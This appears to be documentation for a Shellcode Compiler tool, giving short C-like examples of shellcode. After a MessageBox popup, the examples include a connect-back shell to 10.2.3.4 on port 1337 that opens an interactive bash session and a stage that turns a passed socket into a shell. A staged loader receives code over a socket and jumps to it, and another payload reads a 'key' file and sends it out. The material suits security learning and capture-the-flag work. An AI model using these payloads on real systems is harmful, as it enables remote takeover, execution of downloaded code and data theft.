The following are short examples of how to use the Shellcode Compiler to solve common shellcoding tasks.
Resolve and call Windows functions
SCC supports the ability to dynamically resolve and call windows functions for you with the right syntax. The following simple example is a popup displaying hello world using MessageBoxA.
int __stdcall MessageBoxA(HANDLE hwnd, const char* msg, const char* title, uint32_t flags) __import("user32"); int main() { MessageBoxA(NULL, "Hello", "Hello World.", 0); return 0; }
Connect-back Shell
The following code will connect to 10.2.3.4 on port 1337 with an interactive bash session.
void main() { int s = create_tcp4_connection(IPV4_ADDR(10, 2, 3, 4), 1337); redirect_io(s); interactive_bash(); }
Passing socket descriptor from previous stage
The main() function can take arguments, which are to be passed on the stack from right to left (C calling convention). When you transition to this shellcode, use a standard call instruction with the socket pushed onto the stack.
void main(int sock) { redirect_io(sock); interactive_bash(); }
Staged shellcode
You can use the computed goto syntax to transition to a new, larger shellcode buffer. The following example allocates a new buffer on the heap for shellcode of an arbitrary size.
void main(int sock) { int len; recv(sock, &len, 4, 0); void* code = malloc(len); recv_all(sock, code, len, 0); goto *code; }
Read a file
The following shellcode reads a small file called key and sends it back over file descriptor 4, which is typically the incoming connection on a forking server.
void main() { char data[64]; int fd = open("key", O_RDONLY, 0); int len = read(fd, data, 64); write(4, data, len); }